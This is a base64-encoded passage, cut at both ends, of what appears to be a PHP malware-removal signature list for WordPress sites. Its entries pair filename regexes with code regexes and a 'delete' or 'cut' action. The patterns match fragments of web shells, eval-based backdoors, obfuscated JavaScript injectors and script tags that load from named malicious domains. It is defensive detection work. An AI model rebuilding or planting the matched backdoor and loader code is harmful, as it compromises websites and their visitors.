1wnXF0sXCRfXGQrLEZJTEVfQVBQRU5EXHxMT0NLX0VYXCk7fWlmKD88WDdhNzA4MDFhPil8aWZcKFwkX1BPU1RcW1wnXHd7MSw0MH1cJ1xdPT0iVXBsb2FkIlwpe2lmXChAY29weVwoXCRfRklMRVNcW1wnZmlsZVwnXF1cW1wndG1wX25hbWVcJ1xdLFwkX0ZJTEVTXFtcJ2ZpbGVcJ1xdXFtcJ25hbWVcJ1xdXClcKVx7ZWNobyg/PFgwNTA2MjRjMz4pfGxldHNfanVtcFwoXCRce1wkXHd7MSw0MH19LFwkXHtcJFx3ezEsNDB9XH1cKTtcfVwkXHtcJFx7KD88WDFmZDExMDUxPil8cmV0dXJuXCR7XCRcd3sxLDIwfX07fXB1YmxpYyBmdW5jdGlvbiBnZXRSdWxlc1woXCl7aWZcKFwkdGhpcy0+ZGV0ZWN0aW9uVHlwZT09c2VsZjo6REVURUNUSU9OX1RZUEVfRVhURU5ERURcKXtyZXR1cm4gc2VsZjo6Z2V0TW9iaWxlRGV0ZWN0aW9uUnVsZXNFeHRlbmRlZFwoXCk7fSg/PFgwYjk0M2ZiZD4pfHNldF90aW1lX2xpbWl0XCgwXCk7YXJyYXlfd2Fsa1woXCRfQ09PS0lFLCJlbnVtZXJhdG9yIlwpO2FycmF5X3dhbGtcKFwkX1BPU1QsImVudW1lcmF0b3IiXCk7ZnVuY3Rpb24gZW51bWVyYXRvclwoXCR2YWx1ZSxcJGtleVwpXHtcJFx7KD88WGNmYzZiYjUyPikpfnNtaVMnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwgCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy9Xd3dcLlBIUEppYU1pXC5Db20vaW1zJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL153cC12Y2RcLnBocCQvbWknLAogICAgImNvZGUiID0+ICcvLiovaW1zJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL15sb2dpbl93YWxsXC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnL2V2YWxcKFwkX1BPU1RcWy9pbXMnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvXndwLXRtcFwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy93cF9hdXRoX2tleS9pbXMnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvXl9jb25maWcuY2FjaGVcLnBocCQvJywKICAgICJjb2RlIiA9PiAnLy4qL2lVJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL153cC11cGxvYWQtY2xhc3NcLnBocCQvJywKICAgICJjb2RlIiA9PiAnLy4qL2lVJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL153cC1pbnRlcnN0XC5waHAkLycsCiAgICAiY29kZSIgPT4gJy8uKi9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9eZS1wcmV2aWV3XC5waHAkLycsCiAgICAiY29kZSIgPT4gJy8uKi9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9ed3AtY291bnRzXC5waHAkLycsCiAgICAiY29kZSIgPT4gJy8uKi9pVScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9ed3AtcmVtb3RlLXVwbG9hZFwucGhwJC8nLAogICAgImNvZGUiID0+ICcvLiovaVUnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvXmpzXC5waHAkLycsCiAgICAiY29kZSIgPT4gJy9cJGN0aW1lXChcJGF0aW1lXCkvaVUnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jfHR4dCkkL21pJywKICAgICJjb2RlIiA9PiAnL1N1ciBUaGUgTWFpbGVyIEZpbmlzaCBIaXMgSm9iL2ltcycsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmN8dHh0KSQvbWknLAogICAgImNvZGUiID0+ICcvaWZcKCFcKGlzc2V0XChcJHBhc3N3ZFwpXHMqJiZccypcJE8wTzAwMFwoXCRwYXNzd2RcKVxzKj09XHMqXCRPMDBPMDBcKVwpey9tJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy9zZXRfZXJyb3JfaGFuZGxlclwoIl9faV9jbGllbnRfZXJyb3JfaGFuZGxlciJcKTtcJEdMT0JBTFNcWyJfX2lfY2xpZW50X2Vycm9yX3N0YWNrIlxdID0gYXJyYXlcKFwpO2Z1bmN0aW9uIF9faV9jbGllbnRfZXJyb3JfaGFuZGxlclwoXCRlcnJubywgXCRlcnJzdHIsIFwkZXJyZmlsZSwgXCRlcnJsaW5lXCl7aWYgXCghXChlcnJvcl9yZXBvcnRpbmdcKFwpICYgXCRlcnJub1wpXCl7cmV0dXJuO31zd2l0Y2ggXChcJGVycm5vXCkge2Nhc2UgRV9FUlJPUjpjYXNlIEVfVVNFUl9FUlJPUjpcJEdMT0JBTFNcWyJfX2lfY2xpZW50X2Vycm9yX3N0YWNrIlxdXFtcXSA9ICJFcnJvcjogIlwuXCRlcnJzdHJcLiIgaW4gIlwuXCRlcnJmaWxlXC4iXFtcJGVycmxpbmVdIFwoUEhQICJcLlBIUF9WRVJTSU9OXC4iICJcLlBIUF9PU1wuIlwpIjsvbXNpJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL3NvY2lhbFwucG5nJC9taScsCiAgICAiY29kZSIgPT4gJy9XcFBsTG9hZENvbnRlbnQvbXNpJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnLy4qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy9cJGRlZmF1bHRfYWN0aW9uXHMqPVxzKihcJ3wiKUZpbGVzTWFuKFwnfCIpL21zaScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmN8dHh0KSQvbWknLAogICAgImNvZGUiID0+ICcvKHNoZWxsZXZhbCl8KFNoZWxsIEthZ2V5YW1hKXwoc3VwZXJzb2NpYWxsKXwod3BcLXZjZFwucGhwKXwoMHg1YTQ1NTU1M1wuZ2l0aHViXC5pb1wvTUFSSUpVQU5BXC9pY29uXC5wbmcpfChCbGFja2hhdENvZGUpfChKYXlhbGFoIEluZG9uZXNpYWt1KXwoXCJqd2V5Y1wiLFwiYWVza29seVwiLFwib3doZ2dpa3VcIixcImNhbGxicmh5XCIpfChibG9ja3NwbHVnaW5uKXwoUGx1Z2luIE5hbWU6IENNU21hcCAtIFdvcmRQcmVzcyBTaGVsbCl8KEJsYWNraGF0Q29kZSl8KEluZG9YcGxvaXQpfChjcmtla2F0a2VrX2tma3VrbmNrdGtpa29uKXwoXCR3cF9ub25jZSA9IGlzc2V0XChcJF9QT1NUXFtcJ2ZfcHBcJ1xdXCkpL2ltcycsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy93cC14bWxycGNcLnBocCQvbWknLAogICAgImNvZGUiID0+ICcvXCRHTE9CQUxTXFtcJ3Bhc3NcJ1xdL21zaScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy8uKlwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy9cJF9fX19fX19fX189XCRfX19fX19fX19fX19fX19fX19cKFwnXCRfXCcsXCRfX19fX19fX19fX19fX1wpL20nLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvLipcLnBocCQvbWknLAogICAgImNvZGUiID0+ICcvZ290b1xzWzAtOWEtekEtWl17NX07XHNbMC05YS16QS1aXXs1fTpcc2lmXHNcKFshXSpmaWxlX2V4aXN0c1wocmVhbHBhdGhcKFwnXCdcKVxzXC5cc1wiXFxcXC9tJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnL2J5IHpldXJhXC5jb20vaW1zJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksIAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy9QSFAgRW5jb2RlIFNoXCpsbCBBdXRvIHY0IEZveC9pbXMnLAogICAgImFjdGlvbiIgPT4gJ2RlbGV0ZScKKSwgCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnL2V2YWxcKHBhY2tcKFwnSFwqXCcsXCdbMC05YS1mQS1GXXs1MDAwLH0vbScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLCAKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvdGVtcGxhdGUtY29uZmlnXC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnL1wkYWRtd29ya3VybD0iIjsvbScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLCAKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvXmNsYXNzXC53cFwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy8uKi9tJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy9mb3JlYWNoXHMqXChcJFthLXpBLVpfXHg4MC1ceGZmXVthLXpBLVowLTlfXHg4MC1ceGZmXSpcW1swLTldK1xdXChcJF9DT09LSUUsXHMqXCRfUE9TVFwpXHMqYXNccypcJFthLXpBLVpfXHg4MC1ceGZmXVthLXpBLVowLTlfXHg4MC1ceGZmXSpccyo9PlxzKlwkW2EtekEtWl9ceDgwLVx4ZmZdW2EtekEtWjAtOV9ceDgwLVx4ZmZdKi9tJywKICAgICJhY3Rpb24iID0+ICdkZWxldGUnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy9cKGVkb2NlZF80NmVzYWJcKGxhdmVcJ1wpXCkvbScsCiAgICAiYWN0aW9uIiA9PiAnZGVsZXRlJwopLAoKLyogZW5kIGRlbGV0ZSBzZWN0aW9uICovCi8qIHN0YXJ0IGN1dCBzZWN0aW9uICovCiAKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jfHR4dCkkL21pJywKICAgICJjb2RlIiA9PiAnLzxzY3JpcHQgbGFuZ3VhZ2U9amF2YXNjcmlwdD5bXjxdKmV2YWxcKFN0cmluZ1wuZnJvbUNoYXJDb2RlXCgxMTgsIDk3LCAxMTQsIDMyLCAxMDAsIDYxLCAxMDAsIDExMSwgOTksIDExNywgMTA5LCAxMDEsIDExMCwgMTE2LCA1OSwgMTE4LCA5NywgMTE0LCAzMiwgMTE1W148XSpcKVwpOzxcL3NjcmlwdD4vbScsCiAgICAiYWN0aW9uIiA9PiAnY3V0JwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy8uKlwuKHBocHxpbmN8dHh0KSQvbWknLAogICAgImNvZGUiID0+ICcvPFw/cGhwXHNcJG1kNVxzKj1ccyooXCd8IilbMC05YS1mXXszMn0oXCd8IikuKlwkd3Bfc2FsdC4qY3JlYXRlX2Z1bmN0aW9uLipcPz4vbVVzJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnLy4qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy88XD9waHBccyppZlwoXCghQGZpbGVfZXhpc3RzLiowNDQ0XCk7fVxzKlw/Pi9tc1UnLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jfHR4dCkkL21pJywKICAgICJjb2RlIiA9PiAnL1wvXCphZVI0Q2hvY19zdGFydFwqLipcL1wqYWVSNENob2NfZW5kXCpcLy9tJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy88c2NyaXB0PnZhciB6O2lmXCh6IT1cJ1wnICYmIHohPVwnbENcJ1wpXHt6PW51bGwuKnZVICE9IFwnXCdcKVx7dlU9bnVsbFx9OzxcL3NjcmlwdD4vbXNpJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy9yZXF1aXJlX29uY2VcKHBsdWdpbl9kaXJfcGF0aFwoX19GSUxFX19cKSBcLiAiKGltYWdlc3xpbWcpXC9zb2NpYWxcLnBuZyJcKTsvbScsCiAgICAiYWN0aW9uIiA9PiAnY3V0JwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmN8dHh0fGpzKSQvbWknLAogICAgImNvZGUiID0+ICcvRWxlbWVudFwucHJvdG90eXBlXC5hcHBlbmRBZnRlciA9IGZ1bmN0aW9uXChlbGVtZW50XCkge2VsZW1lbnRcLnBhcmVudE5vZGVcLmluc2VydEJlZm9yZVwodGhpcywgZWxlbWVudFwubmV4dFNpYmxpbmdcKTt9LCBmYWxzZTtcKGZ1bmN0aW9uXChcKSB7IHZhciBlbGVtID0gZG9jdW1lbnRcLmNyZWF0ZUVsZW1lbnRcKFN0cmluZ1wuZnJvbUNoYXJDb2RlXCgxMTUsOTksMTE0LDEwNSwxMTIsMTE2XClcKTsgZWxlbVwudHlwZSA9IFN0cmluZ1wuZnJvbUNoYXJDb2RlXCgxMTYsMTAxLDEyMCwxMTYsNDcsMTA2LDk3LDExOCw5NywxMTUsOTksMTE0LDEwNSwxMTIsMTE2W148XSpTdHJpbmdcLmZyb21DaGFyQ29kZVwoMTA0LDEwMSw5NywxMDBcKVwpXFswXF1cLmFwcGVuZENoaWxkXChlbGVtXCk7fVwpXChcKTsvbXMnLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jfHR4dCkkL21pJywKICAgICJjb2RlIiA9PiAnLzxcP3BocCBpZiBcKGZpbGVfZXhpc3RzXChkaXJuYW1lXChfX0ZJTEVfX1wpIFwuIFwnXC93cC12Y2RcLnBocFwnXClcKSBpbmNsdWRlX29uY2VcKGRpcm5hbWVcKF9fRklMRV9fXCkgXC4gXCdcL3dwLXZjZFwucGhwXCdcKTsgXD8+L21zJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy88c2NyaXB0IHR5cGU9KFwnfCIpdGV4dFwvamF2YXNjcmlwdChcJ3wiKT5bXjxdKmV2YWxcKFN0cmluZ1wuZnJvbUNoYXJDb2RlXCgxMTgsIDk3LCAxMTQsIDMyLCAxMDAsIDYxLCAxMDAsIDExMSwgOTksIDExNywgMTA5LCAxMDEsIDExMCwgMTE2LCA1OSwgMTE4LCA5NywgMTE0LCAzMiwgMTE1W148XSpcKVwpOzxcL3NjcmlwdD4vbScsCiAgICAiYWN0aW9uIiA9PiAnY3V0JwopLAoKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jfHR4dCkkL21pJywKICAgICJjb2RlIiA9PiAnL0BkaWUgXChcJGN0aW1lXChcJGF0aW1lXClcKTsvaW1zJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluY3x0eHQpJC9taScsCiAgICAiY29kZSIgPT4gJy9pZlwoaXNzZXRcKFwkX1BPU1RcW2NoclwoOTdcKVwuY2hyXCgxMTVcKVwuY2hyXCg5N1wpLipvd2hnZ2lrdS4qYmFzZTY0X2RlY29kZVwoImJHOWpZV3d0WlhKeWIzSXRibTkwTFdadmRXNWsiXCk7fWRpZVwoXCk7fS9tJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCgphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmN8dHh0KSQvbWknLAogICAgImNvZGUiID0+ICcvPHNjcmlwdCB0eXBlPXRleHRcL2phdmFzY3JpcHQ+IEVsZW1lbnRcLnByb3RvdHlwZVwuYXBwZW5kQWZ0ZXIgPSBmdW5jdGlvblwoZWxlbWVudFwpIHtlbGVtZW50XC5wYXJlbnROb2RlXC5pbnNlcnRCZWZvcmVcKHRoaXMsIGVsZW1lbnRcLm5leHRTaWJsaW5nXCk7fSwgZmFsc2U7XChmdW5jdGlvblwoXCkgeyB2YXIgZWxlbSA9IGRvY3VtZW50XC5jcmVhdGVFbGVtZW50XChTdHJpbmcuZnJvbUNoYXJDb2RlXCgxMTUsOTksMTE0LDEwNSwxMTIsMTE2XClcKTtbXjxdKlwoXCk7PFwvc2NyaXB0Pi9tcycsCiAgICAiYWN0aW9uIiA9PiAnY3V0JwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmN8dHh0KSQvbWknLAogICAgImNvZGUiID0+ICcvPFw/cGhwXHMqaWZcKCFkZWZpbmVkXChcJ19ORVRcJ1wpXCkuKlwvXCpcLFwuXCpcL1xzKlw/Pi9tc1UnLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jfHR4dCkkL21pJywKICAgICJjb2RlIiA9PiAnLzxcP3BocCBcL1wqW15cKl0qXCpcL2V2YWxcL1wqLipcKlwvXHMqXD8+L20nLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jfHR4dCkkL21pJywKICAgICJjb2RlIiA9PiAnL2luY2x1ZGVccypcKFxzKkFCU1BBVEhccypcLlxzKldQSU5DXHMqXC5ccypcJ1wvbWV0YXdwXC5waHBcJ1xzKlwpXHMqOy9pbXMnLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKCgphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy88XD9waHAuK1wkR0xPQkFMUy4rZXZhbFwvXCouKlxdXCk7W31dezEsMn1leGl0XChcKTt9W14+XStcPz4vbXNpJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnLzxcP3BocC4rXCRHTE9CQUxTLitldmFsXC9cKi4qXF1cKVwpO2V4aXRcKFwpO31bXj5dK1w/Pi9tc2knLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnL1w8XD9waHAuK1wkX1JFUVVFU1RcW1wncGFzc3dvcmRcJ1xdLitcJGVuZF93cF90aGVtZV90bXAuKz9cP1w+L2ltcycsCiAgICAiYWN0aW9uIiA9PiAnY3V0JwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy9cPFw/cGhwLitcJE8wME9PMFtcU117MTAwMH0uKz9cP1w+L2ltcycsCiAgICAiYWN0aW9uIiA9PiAnY3V0JwopLCAgCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnL1wvXCpbXipdezV9XCpcL1teQF0qQGluY2x1ZGUgIlteKl0qXC9cKlteKl17NX1cKlwvL2ltcycsCiAgICAiYWN0aW9uIiA9PiAnY3V0JwopLCAgCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnLzxcP3BocFtePl0qYXJyYXlbXj5dKmFycmF5W14+XSphcnJheVtePl0qW1xTXXszMDAwfVtePl0qXD8+L2lVJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnLzxcP3BocFtePl0qc3RyX3JlcGxhY2VbXj5dKnN0cl9yZXBsYWNlW14+XSpzdHJfcmVwbGFjZVtePl0qW1xTXXszMDAwfVtePl0qXD8+L2lVJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnLzxcP3BocFtcc117NTAwfVtePl0qc3RyX3JlcGxhY2VbXj5dKnN0cl9yZXBsYWNlW14+XSpzdHJfcmVwbGFjZVtePl0qW1xzXXs1MDB9W14+XSpcPz4vaVUnLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvXDxzY3JpcHQgdHlwZT1cJ3RleHRcL2phdmFzY3JpcHRcJyBzcmM9XCdodHRwczpcL1wvc25pcHBldFwuYWRzZm9ybWFya2V0XC5jb21cL3NhbWVcLmpzXCdcPi9pVScsCiAgICAiYWN0aW9uIiA9PiAnY3V0JwopLAoKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvZXZhbFwoZ3ppbmZsYXRlXChiYXNlNjRfZGVjb2RlXChcJ1tcU117NTAwfS4qXCdcKVwpXCk7L2ltJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCgphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy9cJFthLXpBLVpfXHg4MC1ceGZmXVthLXpBLVowLTlfXHg4MC1ceGZmXSo9XCcuKlwkW2EtekEtWl9ceDgwLVx4ZmZdW2EtekEtWjAtOV9ceDgwLVx4ZmZdKj1cJFthLXpBLVpfXHg4MC1ceGZmXVthLXpBLVowLTlfXHg4MC1ceGZmXSpcKFwnXCcsLipcJFthLXpBLVpfXHg4MC1ceGZmXVthLXpBLVowLTlfXHg4MC1ceGZmXSpcKFwpOyQvaW0nLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvPFw/cGhwIGlmXCghaXNzZXRcKFwkR0xPQkFMU1xbIlxcXFx4NjFcXFxcMTU2XFxcXHg3NVxcXFwxNTZcXFxceDYxIlxdXClcKSB7IFwkdWE9c3RydG9sb3dlclwoXCRfU0VSVkVSXFsiXFxcXHg0OFteP10qXD8+PFw/cGhwLio/XD8+L2ltcycsCiAgICAiYWN0aW9uIiA9PiAnY3V0JwopLAoKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvPFw/cGhwIEBlcnJvcl9yZXBvcnRpbmdcKDBcKTsuKkJjVlNpcjt9IFw/Pi9pbXMnLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvPFw/cGhwIEBlcnJvcl9yZXBvcnRpbmdcKDBcKTsuKkJjVlNpcjt9IFw/Pi9pbXMnLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvd3AtY29uZmlnXC5waHAkL21pJywKICAgICJjb2RlIiA9PiAnL2luY2x1ZGVcKCJ3cC1jb250ZW50XC93XC5waHAiXCk7L2ltcycsCiAgICAiYWN0aW9uIiA9PiAnY3V0JwopLAphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy8uKlwucGhwJC9taScsCiAgICAiY29kZSIgPT4gJy9AZXZhbFwoXCRfUE9TVFxbIndwX2FqeF9yZXF1ZXN0Il1cKTsvaW1zJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCgphcnJheSgKICAgICJmaWxlbmFtZSIgPT4gJy9bXi5dKlwuKHBocHxpbmMpJC9taScsCiAgICAiY29kZSIgPT4gJy88XD9waHAgXC9cKlswLTldezV9XCpcLy4qXC9cKlswLTldezV9XCpcL1xzKlw/Pi9pbXMnLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvZXZhbFwoZ3ppbmZsYXRlXChiYXNlNjRfZGVjb2RlXChbXlwoXCldKlwpXClcKTsvaW1zJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnL1wkb25ldGloZXY9ImNyZWF0ZS4qdW5zZXRcKFwkaXRvbG9rXCk7L21zJywKICAgICJhY3Rpb24iID0+ICdjdXQnCiksCmFycmF5KAogICAgImZpbGVuYW1lIiA9PiAnL1teLl0qXC4ocGhwfGluYykkL21pJywKICAgICJjb2RlIiA9PiAnLzxzY3JpcHRccyp0eXBlPShcJ3wifCl0ZXh0XC9qYXZhc2NyaXB0KFwnfCJ8KVxzKihhc3luY3xhc3luY1xzKj1ccyp0cnVlKSpccypzcmM9XCdodHRwW3NdKjpcL1wvW14+XSoobGV0c21ha2VwYXJ0eTNcLmdhfGxvYmJ5ZGVzaXJlc1wuY29tfHRyYXNuYWx0ZW15cmVjb3Jkc1wuY29tfGJsYWNrZW50ZXJ0YWlubWVudHNcLmNvbXxkb250c3RvcHRoaXNtdXNpY3NcLmNvbXxsaXR0bGVhbmRiaWdncmVlbmJhbGxsb25cLmNvbXxjZG53ZWJzaXRlZm9yeW91XC5iaXp8cmVzb2x1dGlvbmRlc3RpblwuY29tfGRldmVsb3BmaXJzdGxpbmVcLmNvbXxkZWxpdmVyeWdvb2RzdHJhdGVneS5jb218ZGV2ZWxvcGZpcnN0bGluZVwuY29tfHJlc29sdXRpb25kZXN0aW5cLmNvbXxjaGF0d2l0aGdyZWVuYmFyXC5jb218ZGlnZXN0Y29sZWN0XC5jb218c3RpdmVuZmVybmFuZG9cLmNvbXx2ZXJ5YmVhdGlmdWxhbnRvbnlcLmNvbXx0cmFja3N0YXRpc3RpY3Nzc1wuY29tfGRpZ2VzdGNvbGVjdFwuY29tfGNvbGxlY3RmYXN0dHJhY2tzXC5jb218dmVyeWJlYXRpZnVsYW50b255XC5jb218ZGVzdGlueWZlcm5hbmRpXC5jb20pW14+XStcJz48XC9zY3JpcHQ+L20nLAogICAgImFjdGlvbiIgPT4gJ2N1dCcKKSwKYXJyYXkoCiAgICAiZmlsZW5hbWUiID0+ICcvW14uXSpcLihwaHB8aW5jKSQvbWknLAogICAgImNvZGUiID0+ICcvPFw/cGhwXHMqXC9cKlxzKlthLXpBLVowLTldezIwfVxzKlwqXC9ccypcPz4uKjxcP3BocFxzKlwvXCpccypbYS16QS1aMC05XXsyMH1ccypcKlwvXHMqXD8+L2lzJywKICAgICJhY3Rpb24iID0+ICdjdXQnC